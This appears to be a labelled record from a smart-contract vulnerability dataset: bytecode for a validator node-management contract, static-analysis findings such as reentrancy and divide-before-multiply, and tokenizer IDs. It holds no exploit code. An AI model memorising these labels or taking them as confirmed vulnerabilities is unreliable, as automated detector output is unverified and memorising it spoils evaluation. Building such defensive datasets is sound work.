60405162461bcd60e51b815260040161088a90615a68565b8460ff1660998781548110611e6557fe5b600091825260209091206002909102015460ff161015611e885760009350611edb565b60ff851615611ed657611ed686611ed1611ecc8860ff1660998b81548110611eac57fe5b600091825260209091206002909102015460ff169063ffffffff613e4416565b613f90565b613fb7565b600193505b50505092915050565b600081611ef081613873565b60988381548110611efd57fe5b906000526020600020906009020160080154915050919050565b60a25481565b80611f2781613873565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b0390911690633581777390611f7c90859060040161535a565b60206040518083038186803b158015611f9457600080fd5b505afa158015611fa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcc9190614e6e565b6001600160a01b03161480611fe45750611fe4613897565b6120005760405162461bcd60e51b815260040161088a90615a68565b426098848154811061200e57fe5b906000526020600020906009020160050181905550505050565b60008161203481613873565b609760009054906101000a90046001600160a01b03166001600160a01b031663f49bff7b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561208257600080fd5b505afa158015612096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ba9190614e6e565b6001600160a01b031663a43d8437846040518263ffffffff1660e01b81526004016120e5919061528c565b60206040518083038186803b1580156120fd57600080fd5b505afa158015612111573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190614f44565b6000828152606560205260408120612153908363ffffffff61404e16565b90505b92915050565b609d6020526000908152604090205481565b8061217881613873565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b03909116906335817773906121cd90859060040161535a565b60206040518083038186803b1580156121e557600080fd5b505afa1580156121f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061221d9190614e6e565b6001600160a01b031614806122355750612235613897565b6122515760405162461bcd60e51b815260040161088a90615a68565b60975460408051639cb83f5760e01b815290516000926001600160a01b031691639cb83f57916004808301926020929190829003018186803b15801561229657600080fd5b505afa1580156122aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ce9190614e6e565b604051635be8c60f60e01b81529091506001600160a01b03821690635be8c60f906122fd90889060040161528c565b60206040518083038186803b15801561231557600080fd5b505afa158015612329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234d9190614f0c565b6123695760405162461bcd60e51b815260040161088a906159dd565b6000858152609f60209081526040918290208054835181840281018401909452808452606093928301828280156123bf57602002820191906000526020600020905b8154815260200190600101908083116123ab575b5050505050905060006123d2828761405a565b9050815181101561243e576000878152609f6020526040902082516123fe90600163ffffffff613e4416565b8154811061240857fe5b9060005260206000200154609f6000898152602001908152602001600020828154811061243157fe5b6000918252602090912001555b6000878152609f6020526040902080548061245557fe5b60019003818190600052602060002001600090559055600061247d6098888154811061112a57fe5b905087846001600160a01b031663bad21775836040518263ffffffff1660e01b81526004016124ac9190615295565b60206040518083038186803b1580156124c457600080fd5b505afa1580156124d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fc9190614f44565b1415612649576001600160a01b0381166000908152609a602052604090206001908101541480156125a557506040516224441f60e71b81526001600160a01b038516906312220f8090612553908490600401615295565b60206040518083038186803b15801561256b57600080fd5b505afa15801561257f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a39190614f0c565b155b1561260b57604051630601a91b60e21b81526001600160a01b03851690631806a46c906125d8908b908590600401615320565b600060405180830381600087803b1580156125f257600080fd5b505af1158015612606573d6000803e3d6000fd5b505050505b6001600160a01b0381166000818152609a602081815260408084208c8552808352908420805460ff1916905593909252905260010180546000190190555b5050505050505050565b6000828152606560205260408120612153908363ffffffff61409a16565b612679613897565b6126955760405162461bcd60e51b815260040161088a906154fc565b60005b609854811015612763576000609882815481106126b157fe5b600091825260209091206007600990920201015460ff1660038111156126d357fe5b1415801561271057506002609882815481106126eb57fe5b600091825260209091206007600990920201015460ff16600381111561270d57fe5b14155b1561275b57600081815260a460205260409020805460ff191660011790556099805461275b9183918290811061274257fe5b600091825260209091206002909102015460ff166140af565b600101612698565b50609754604051633581777360e01b81526000916001600160a01b031690633581777390612793906004016155be565b60206040518083038186803b1580156127ab57600080fd5b505afa1580156127bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e39190614e6e565b6001600160a01b031663c83ee0b36040518163ffffffff1660e01b815260040160206040518083038186803b15801561281b57600080fd5b505afa15801561282f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061285391906150cb565b60405163cb00a74f60e01b81529091507399091f483f694ca8620d9a5c192d7eb2432595579063cb00a74f906128909060a5908590600401615b18565b60006040518083038186803b1580156128a857600080fd5b505af41580156128bc573d6000803e3d6000fd5b506001925050505b8160ff168160ff1611610eff5760ff81166000908152609e6020526040902054156129695760ff81166000908152609e60205260409081902054905163102247d160e01b81527399091f483f694ca8620d9a5c192d7eb2432595579163102247d1916129389160a591869190600401615b29565b60006040518083038186803b15801561295057600080fd5b505af4158015612964573d6000803e3d6000fd5b505050505b6001016128c4565b609c6020526000908152604090205460ff1681565b60008161299281613873565b6002611182565b600080612a3c7399091f483f694ca8620d9a5c192d7eb24325955763498e065a60a560ff8816156129ca57876129cd565b60015b876040518463ffffffff1660e01b81526004016129ec93929190615b42565b60206040518083038186803b158015612a0457600080fd5b505af4158015612a18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ecc9190614f44565b905060008160ff1611612a615760405162461bcd60e51b815260040161088a90615787565b60ff81166000908152609e602052604090208054612a8690859063ffffffff6141db16565b81548110612a9057fe5b906000526020600020015491505092915050565b600081612ab081613873565b60988381548110612abd57fe5b600091825260209091206009909102016007015460ff169392505050565b600081565b6000612af960a15460a05461429690919063ffffffff16565b90505b90565b600081612b0b81613873565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b0390911690633581777390612b6090859060040161535a565b60206040518083038186803b158015612b7857600080fd5b505afa158015612b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bb09190614e6e565b6001600160a01b03161480612bc85750612bc8613897565b612be45760405162461bcd60e51b815260040161088a90615a68565b612bed846111b9565b612c095760405162461bcd60e51b815260040161088a906157af565b612c12846142bb565b7f07903541c5c6f3b94d75bbe8eba01679f00857bb87e7d2c2b5eb36fcab0e20a684425a604051610a2193929190615bf6565b81612c4f81613873565b604080518082018252600c81526b29b5b0b632a6b0b730b3b2b960a11b60208201526097549151633581777360e01b8152909133916001600160a01b0390911690633581777390612ca490859060040161535a565b60206040518083038186803b158015612cbc57600080fd5b505afa158015612cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cf49190614e6e565b6001600160a01b03161480612d0c5750612d0c613897565b612d285760405162461bcd60e51b815260040161088a90615a68565b8260988581548110612d3657fe5b90600052602060002090600902016006018190555050505050565b6097546001600160a01b031681565b60985490565b80612d718133613cfe565b600360988381548110612d8057fe5b600091825260209091206007600990920201015460ff166003811115612da257fe5b14612dbf5760405162461bcd60e51b815260040161088a906153db565b610eff82613e86565b612dd0614e1a565b81612dda81613873565b60988381548110612de757fe5b60009182526020918290206040805180820191829052600990930290910160028181018054855293949092916003019085018083116110bf575050505050915050919050565b600060ff8216612ec95760405163cad282af60e01b81527399091f483f694ca8620d9a5c192d7eb2432595579063cad282af90612e729060a5906001906004016151b4565b60206040518083038186803b158015612e8a57600080fd5b505af4158015612e9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ec29190614f44565b9050610eb6565b60405163cad282af60e01b81527399091f483f694ca8620d9a5c192d7eb2432595579063cad282af90612f039060a5908690600401615b18565b60206040518083038186803b158015612f1b57600080fd5b505af4158015612f2f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121569190614f44565b600081612f5f81613873565b50506001600160a01b03919091166000908152609a60209081526040808320938352929052205460ff1690565b600054610100900460ff1680612fa55750612fa56144a1565b80612fb3575060005460ff16155b612fcf5760405162461bcd60e51b815260040161088a9061591e565b600054610100900460ff16158015612ffa576000805460ff1961ff0019909116610100171660011790555b613003826144a7565b600060a081905560a181905560a25560405163cb00a74f60e01b81527399091f483f694ca8620d9a5c192d7eb2432595579063cb00a74f9061304d9060a5906080906004016151b4565b60006040518083038186803b15801561306557600080fd5b505af4158015613079573d6000803e3d6000fd5b505050508015610eff576000805461ff00191690555050565b604080518082018252600f81526e14d8da185a5b9cd25b9d195c9b985b608a1b60208201526097549151633581777360e01b8152909133916001600160a01b03909116906335817773906130ea90859060040161535a565b60206040518083038186803b15801561310257600080fd5b505afa158015613116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061313a9190614e6e565b6001600160a01b031614806131525750613152613897565b61316e5760405162461bcd60e51b815260040161088a90615a68565b610eff82614546565b60008161318381613873565b6098838154811061319057fe5b906000526020600020906009020160050154915050919050565b816131b481613873565b604080518082018252600781526653636861696e7360c81b60208083019190915282518084018452600c81526b2737b232a937ba30ba34b7b760a11b918101919091526097549251633581777360e01b81529192909133916001600160a01b03169063358177739061322a90869060040161535a565b60206040518083038186803b15801561324257600080fd5b505afa158015613256573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061327a9190614e6e565b6001600160a01b031614806133155750609754604051633581777360e01b815233916001600160a01b0316906335817773906132ba90859060040161535a565b60206040518083038186803b1580156132d257600080fd5b505afa1580156132e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061330a9190614e6e565b6001600160a01b0316145b806133235750613323613897565b61333f5760405162461bcd60e51b815260040161088a90615a68565b60ff8416156133835761338385611ed1611ecc8760ff1660998a8154811061336357fe5b600091825260209091206002909102015460ff169063ffffffff61429616565b5050505050565b60008161339681613873565b6040805180820182526006815265426f756e747960d01b60208201526097549151633581777360e01b8152909133916001600160a01b03909116906335817773906133e590859060040161535a565b60206040518083038186803b1580156133fd57600080fd5b505afa158015613411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134359190614e6e565b6001600160a01b0316148061344d575061344d613897565b6134695760405162461bcd60e51b815260040161088a90615a68565b60975460408051639cb83f5760e01b815290516000926001600160a01b031691639cb83f57916004808301926020929190829003018186803b1580156134ae57600080fd5b505afa1580156134c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134e69190614e6e565b604051635be8c60f60e01b81529091506001600160a01b03821690635be8c60f9061351590899060040161528c565b60206040518083038186803b15801561352d57600080fd5b505afa158015613541573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135659190614f0c565b6135815760405162461bcd60e51b815260040161088a906159dd565b6000868152609f60209081526040918290208054835181840281018401909452808452606093928301828280156135d757602002820191906000526020600020905b8154815260200190600101908083116135c3575b5050505050905060006135ea828861405a565b90508151811061360c5760405162461bcd60e51b815260040161088a9061561e565b61361688826138fa565b98975050505050505050565b6000818152606560205260408120612156906145ae565b60608161364581613873565b600083815260a3602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156110d35780601f106136ad576101008083540402835291602001916110d3565b820191906000526020600020905b8154815290600101906020018083116136bb575093979650505050505050565b6000816136e781613873565b609883815481106136f457fe5b906000526020600020906009020160060154915050919050565b60008281526065602052604090206002015461372c9061067f613b29565b610f505760405162461bcd60e51b815260040161088a9061581f565b609e60205281600052604060002081815481106110f957fe5b60008161376d81613873565b6097546040805163f49bff7b60e01b8152905142926001600160a01b03169163f49bff7b916004808301926020929190829003018186803b1580156137b157600080fd5b505afa1580156137c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137e99190614e6e565b6001600160a01b031663a43d8437856040518263ffffffff1660e01b8152600401613814919061528c565b60206040518083038186803b15801561382c57600080fd5b505afa158015613840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138649190614f44565b11159392505050565b60a05481565b60985481106138945760405162461bcd60e51b815260040161088a906157dc565b50565b6000612af98133612653565b6001609882815481106138b257fe5b60009182526020909120600760099092020101805460ff191660018360038111156138d957fe5b021790555060a0805460001901905560a18054600101905561389481613c93565b609754604051633581777360e01b815260009182916001600160a01b039091169063358177739061392d90600401615a14565b60206040518083038186803b15801561394557600080fd5b505afa158015613959573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061397d9190614e6e565b90506000816001600160a01b0316631d703812866040518263ffffffff1660e01b81526004016139ad919061528c565b602060405180830381600087803b1580156139c757600080fd5b505af11580156139db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139ff9190614f44565b90506000609760009054906101000a90046001600160a01b03166001600160a01b031663fcaa57a46040518163ffffffff1660e01b815260040160206040518083038186803b158015613a5157600080fd5b505afa158015613a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a899190614e6e565b6001600160a01b031663ed089aa76040518163ffffffff1660e01b815260040160206040518083038186803b158015613ac157600080fd5b505afa158015613ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613af99190614f44565b905081613b1d82613b1188600163ffffffff61429616565b9063ffffffff6145b916565b11159695505050505050565b3390565b6000828152606560205260409020613b4b908263ffffffff6145f316565b15610eff57613b58613b29565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152606560205260409020613bba908263ffffffff61460816565b15610eff57613bc7613b29565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b80516020808301516040516000938493613c27939192016151b4565b60408051601f19818403018152919052805160209091012090506000600c5b60208160ff161015613c8857600c810360080260ff16838260ff1660208110613c6b57fe5b1a60f81b6001600160f81b031916901c9190911790600101613c46565b5060601c9392505050565b600081815260a4602052604090205460ff1661389457600060998281548110613cb857fe5b600091825260209091206002909102015460ff169050613cd882826140af565b613ce18161461d565b50600081815260a460205260409020805460ff1916600117905550565b60975460408051639cb83f5760e01b815290516000926001600160a01b031691639cb83f57916004808301926020929190829003018186803b158015613d4357600080fd5b505afa158015613d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d7b9190614e6e565b9050613d878284612f53565b80613d965750613d968261468f565b80613e235750604051630ba7341960e11b81526001600160a01b0382169063174e683290613dc8908590600401615295565b60206040518083038186803b158015613de057600080fd5b505afa158015613df4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e189190614f44565b613e2184611ee4565b145b613e3f5760405162461bcd60e51b815260040161088a9061573a565b505050565b600061215383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061480a565b600060988281548110613e9557fe5b60009182526020909120600760099092020101805460ff19166001836003811115613ebc57fe5b021790555060a054613ed590600163ffffffff61429616565b60a055600081815260a4602052604090205460ff1615613efd57613ef881614546565b613894565b600060998281548110613f0c57fe5b600091825260209091206002909102015460ff169050613f2c8282614836565b610eff81614898565b600360988281548110613f4457fe5b60009182526020909120600760099092020101805460ff19166001836003811115613f6b57fe5b021790555060a054613f8490600163ffffffff613e4416565b60a05561389481613c93565b60006101008210613fb35760405162461bcd60e51b815260040161088a90615533565b5090565b600082815260a4602052604090205460ff1661401a57600060998381548110613fdc57fe5b600091825260209091206002909102015460ff169050613ffb8161461d565b61400482614898565b61400e83826140af565b6140188383614836565b505b806099838154811061402857fe5b60009182526020909120600290910201805460ff191660ff929092169190911790555050565b600061215383836148de565b6000805b8351811015614091578284828151811061407457fe5b60200260200101511415614089579050612156565b60010161405e565b50509051919050565b6000612153836001600160a01b038416614923565b6000609983815481106140be57fe5b60009182526020808320600160029093020182015460ff86168452609e90915260408320549093506140f59163ffffffff613e4416565b9050808210156141825760ff83166000908152609e6020526040812080548390811061411d57fe5b9060005260206000200154905080609e60008660ff1660ff168152602001908152602001600020848154811061414f57fe5b9060005260206000200181905550826099828154811061416b57fe5b906000526020600020906002020160010181905550505b60ff83166000908152609e6020526040902080548061419d57fe5b60019003818190600052602060002001600090559055609984815481106141c057fe5b90600052602060002090600202016001016000905550505050565b60008082116141e657fe5b600061420c6141fd6000198563ffffffff61493b16565b6000199063ffffffff613e4416565b905061421f83600163ffffffff613e4416565b6142316000198363ffffffff613e4416565b141561425857614250836142448661497d565b9063ffffffff61493b16565b915050612156565b60006142638561497d565b90505b81811061427d576142768561497d565b9050614266565b61428d818563ffffffff61493b16565b92505050612156565b6000828201838110156121535760405162461bcd60e51b815260040161088a906155e7565b6000609b6000609884815481106142ce57fe5b600091825260208083206009929092029091016001015460e01b6001600160e01b03191683528201929092526040018120805460ff19169215159290921790915560988054609c9183918590811061432257fe5b906000526020600020906009020160000160405160200161434391906151ee565b60405160208183030381529060405280519060200120815260200190815260200160002060006101000a81548160ff021916908315150217905550609d60006098838154811061438f57fe5b90600052602060002090600902016000016040516020016143b091906151ee565b60405160208183030381529060405280519060200120815260200190815260200160002060009055600060038111156143e557fe5b609882815481106143f257fe5b600091825260209091206007600990920201015460ff16600381111561441457fe5b14156144295760a08054600019019055614434565b60a180546000190190555b60026098828154811061444357fe5b60009182526020909120600760099092020101805460ff1916600183600381111561446a57fe5b021790555060a280546001019055609980548290811061448657fe5b60009182526020909120600290910201805460ff1916905550565b303b1590565b600054610100900460ff16806144c057506144c06144a1565b806144ce575060005460ff16155b6144ea5760405162461bcd60e51b815260040161088a9061591e565b600054610100900460ff16158015614515576000805460ff1961ff0019909116610100171660011790555b61451d6149f8565b614528600033610ef5565b61453182614a8a565b8015610eff576000805461ff00191690555050565b600081815260a4602052604090205460ff16156138945760006099828154811061456c57fe5b600091825260209091206002909102015460ff16905061458c8282614836565b61459581614898565b50600090815260a460205260409020805460ff19169055565b600061215682614b00565b6000826145c857506000612156565b828202828482816145d557fe5b04146121535760405162461bcd60e51b815260040161088a906158a6565b6000612153836001600160a01b038416614b04565b6000612153836001600160a01b038416614b4e565b60ff8116156138945760405163dc94d2e560e01b81527399091f483f694ca8620d9a5c192d7eb2432595579063dc94d2e5906146639060a5908590600190600401615b29565b60006040518083038186803b15801561467b57600080fd5b505af4158015613383573d6000803e3d6000fd5b60975460405160009182916001600160a01b039091169063ec56a373906146b890602001615274565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016146ea919061528c565b60206040518083038186803b15801561470257600080fd5b505afa158015614716573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061473a9190614e6e565b90506001600160a01b038116156147fa576000819050806001600160a01b03166391d1485460405161476b9061525e565b6040519081900381206001600160e01b031960e084901b168252614793918890600401615320565b60206040518083038186803b1580156147ab57600080fd5b505afa1580156147bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147e39190614f0c565b806147f157506147f1613897565b92505050610eb6565b614802613897565b915050610eb6565b6000818484111561482e5760405162461bcd60e51b815260040161088a919061535a565b505050900390565b60ff81166000818152609e602090815260408220805460018181018355828552928420018690559290915290546148729163ffffffff613e4416565b6099838154811061487f57fe5b9060005260206000209060020201600101819055505050565b60ff8116156138945760405163102247d160e01b81527399091f483f694ca8620d9a5c192d7eb2432595579063102247d1906146639060a5908590600190600401615b29565b815460009082106149015760405162461bcd60e51b815260040161088a9061543e565b82600001828154811061491057fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b600061215383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250614c14565b600060028260000151604051602001614996919061528c565b60408051601f19818403018152908290526149b0916151c2565b602060405180830381855afa1580156149cd573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906149f09190614f44565b918290525090565b600054610100900460ff1680614a115750614a116144a1565b80614a1f575060005460ff16155b614a3b5760405162461bcd60e51b815260040161088a9061591e565b600054610100900460ff16158015614a66576000805460ff1961ff0019909116610100171660011790555b614a6e614c48565b614a76614c48565b8015613894576000805461ff001916905550565b6001600160a01b038116614ab05760405162461bcd60e51b815260040161088a9061596c565b614ac2816001600160a01b0316614cc9565b614ade5760405162461bcd60e51b815260040161088a906158e7565b609780546001600160a01b0319166001600160a01b0392909216919091179055565b5490565b6000614b108383614923565b614b4657508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155612156565b506000612156565b60008181526001830160205260408120548015614c0a5783546000198083019190810190600090879083908110614b8157fe5b9060005260206000200154905080876000018481548110614b9e57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080614bce57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612156565b6000915050612156565b60008183614c355760405162461bcd60e51b815260040161088a919061535a565b50828481614c3f57fe5b06949350505050565b600054610100900460ff1680614c615750614c616144a1565b80614c6f575060005460ff16155b614c8b5760405162461bcd60e51b815260040161088a9061591e565b600054610100900460ff16158015614a76576000805460ff1961ff0019909116610100171660011790558015613894576000805461ff001916905550565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590614cfd57508115155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614d4657805160ff1916838001178555614d73565b82800160010185558215614d73579182015b82811115614d73578251825591602001919060010190614d58565b50613fb3929150614e38565b8260028101928215614d735791602002820182811115614d73578251825591602001919060010190614d58565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614ded5782800160ff19823516178555614d73565b82800160010185558215614d73579182015b82811115614d73578235825591602001919060010190614dff565b60405180604001604052806002906020820280368337509192915050565b612afc91905b80821115613fb35760008155600101614e3e565b600060208284031215614e63578081fd5b813561215381615cdb565b600060208284031215614e7f578081fd5b815161215381615cdb565b60008060408385031215614e9c578081fd5b8235614ea781615cdb565b9150602083013567ffffffffffffffff811115614ec2578182fd5b8084016101008187031215614ed5578283fd5b80925050509250929050565b60008060408385031215614ef3578182fd5b8235614efe81615cdb565b946020939093013593505050565b600060208284031215614f1d578081fd5b81518015158114612153578182fd5b600060208284031215614f3d578081fd5b5035919050565b600060208284031215614f55578081fd5b5051919050565b60008060408385031215614f6e578182fd5b823591506020830135614f8081615cdb565b809150509250929050565b60008060408385031215614f9d578182fd5b50508035926020909101359150565b600060208284031215614fbd578081fd5b81356001600160e01b031981168114612153578182fd5b600060208284031215614fe5578081fd5b813561ffff81168114612153578182fd5b60008060408385031215615008578182fd5b8235915060208084013567ffffffffffffffff80821115615027578384fd5b81860187601f820112615038578485fd5b8035925081831115615048578485fd5b61505a601f8401601f19168501615c88565b9150828252878484830101111561506f578485fd5b8284820185840137509081019091019190915290939092509050565b6000806040838503121561509d578182fd5b823591506020830135614f8081615cf0565b6000602082840312156150c0578081fd5b813561215381615cf0565b6000602082840312156150dc578081fd5b815161215381615cf0565b60008082840360408112156150fa578283fd5b833561510581615cf0565b92506020601f1982011215615118578182fd5b506151236020615c88565b6020939093013583525092909150565b60008060408385031215615145578182fd5b8235614efe81615cf0565b6004811061515a57fe5b9052565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b600081518084526151a0816020860160208601615caf565b601f01601f19169290920160200192915050565b918252602082015260400190565b600082516151d4818460208701615caf565b9190910192915050565b6000828483379101908152919050565b600080835460018082166000811461520d576001811461522457615253565b60ff198316865260028304607f1686019350615253565b600283048786526020808720875b8381101561524b5781548a820152908501908201615232565b505050860193505b509195945050505050565b6941444d494e5f524f4c4560b01b8152600a0190565b6b29b5b0b632a6b0b730b3b2b960a11b8152600c0190565b90815260200190565b6001600160a01b0391909116815260200190565b60408101818360005b6002811015611edb5781518352602092830192909101906001016152b2565b6020808252825182820181905260009190848201906040850190845b81811015615309578351835292840192918401916001016152ed565b50909695505050505050565b901515815260200190565b9182526001600160a01b0316602082015260400190565b6001600160e01b031991909116815260200190565b602081016121568284615150565b6000602082526121536020830184615188565b60006101208083526153818184018d615188565b91505063ffffffff60e01b808b166020840152808a1660408401525061ffff881660608301528660808301528560a08301528460c08301526153c660e0830185615150565b826101008301529a9950505050505050505050565b6020808252601a908201527f4e6f6465206973206e6f7420496e204d61696e74656e616e6365000000000000604082015260600190565b6020808252601290820152714e6f6465206973206e6f742041637469766560701b604082015260600190565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526e0818591b5a5b881d1bc819dc985b9d608a1b606082015260800190565b602080825260139082015272139bd91948191bd95cc81b9bdd08195e1a5cdd606a1b604082015260600190565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b60208082526025908201527f53616665436173743a2076616c756520646f65736e27742066697420696e2038604082015264206269747360d81b606082015260800190565b60208082526026908201527f49502061646472657373206973207a65726f206f72206973206e6f7420617661604082015265696c61626c6560d01b606082015260800190565b6020808252600f908201526e21b7b739ba30b73a39a437b63232b960891b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526026908201527f4e6f646520646f6573206e6f7420657869737420666f7220746869732056616c60408201526534b230ba37b960d11b606082015260800190565b60208082526033908201527f56616c696461746f72206d757374206d65657420746865204d696e696d756d2060408201527214dd185ada5b99c814995c5d5a5c995b595b9d606a1b606082015260800190565b6020808252602c908201527f56616c696461746f72206973206e6f7420617574686f72697a656420746f206360408201526b72656174652061206e6f646560a01b606082015260800190565b6020808252601a908201527f4e616d6520697320616c72656164792072656769737465726564000000000000604082015260600190565b6020808252602d908201527f53656e646572206973206e6f74207065726d697474656420746f2063616c6c2060408201526c3a3434b990333ab731ba34b7b760991b606082015260800190565b6020808252600e908201526d139bd919481b9bdd08199bdd5b9960921b604082015260600190565b6020808252601390820152724e6f6465206973206e6f74204c656176696e6760681b604082015260600190565b60208082526023908201527f4e6f64652077697468207375636820696e64657820646f6573206e6f742065786040820152621a5cdd60ea1b606082015260800190565b60208082526030908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526f2061646d696e20746f207265766f6b6560801b606082015260800190565b60208082526017908201527f5075626c6963204b657920697320696e636f7272656374000000000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526017908201527f41646472657373206973206e6f7420636f6e7472616374000000000000000000604082015260600190565b6020808252602e908201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560408201526d195b881a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526022908201527f436f6e74726163744d616e616765722061646472657373206973206e6f742073604082015261195d60f21b606082015260800190565b6020808252601590820152744e6f64652073686f756c642062652041637469766560581b604082015260600190565b6020808252601b908201527f56616c696461746f7220494420646f6573206e6f742065786973740000000000604082015260600190565b6020808252601490820152732232b632b3b0ba34b7b721b7b73a3937b63632b960611b604082015260600190565b6020808252600c908201526b506f7274206973207a65726f60a01b604082015260600190565b60208082526019908201527f4d6573736167652073656e64657220697320696e76616c696400000000000000604082015260600190565b60208082526010908201526f56616c696461746f725365727669636560801b604082015260600190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b91825260ff16602082015260400190565b92835260ff919091166020830152604082015260600190565b92835260ff91909116602083015251604082015260600190565b61ffff91909116815260200190565b8c81526001600160a01b038c16602082015261014060408201819052600090615b978382018d8f61515e565b6001600160e01b03198c811660608601528b16608085015261ffff8a811660a086015289811660c086015284820360e08601529150615bd781888a61515e565b61010085019690965250505061012001529a9950505050505050505050565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60ff929092168252602082015260400190565b6000808335601e19843603018112615c50578283fd5b8084018035925067ffffffffffffffff831115615c6b578384fd5b60200192505036819003821315615c8157600080fd5b9250929050565b60405181810167ffffffffffffffff81118282101715615ca757600080fd5b604052919050565b60005b83811015615cca578181015183820152602001615cb2565b83811115610cda5750506000910152565b6001600160a01b038116811461389457600080fd5b60ff8116811461389457600080fdfea264697066735822122027e24f87081124915fda88cf41e71f1ddb7bcde560383e8541f58e960de2e0a564736f6c634300060a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2683, 2581, 2063, 2620, 2546, 2683, 2475, 2050, 2581, 2497, 2620, 22414, 22203, 2278, 2581, 2620, 2278, 16068, 2581, 2683, 22025, 2497, 2581, 7011, 2620, 2581, 16576, 2620, 20842, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2069, 1013, 1008, 17284, 1012, 14017, 1011, 24053, 2571, 3208, 9385, 1006, 1039, 1007, 12609, 1011, 2556, 24053, 2571, 13625, 1030, 3166, 1040, 8029, 13181, 26261, 26068, 6777, 24053, 2571, 3208, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 21358, 7512, 2080, 2236, 2270, 6105, 2004, 2405, 2011, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 102 ]
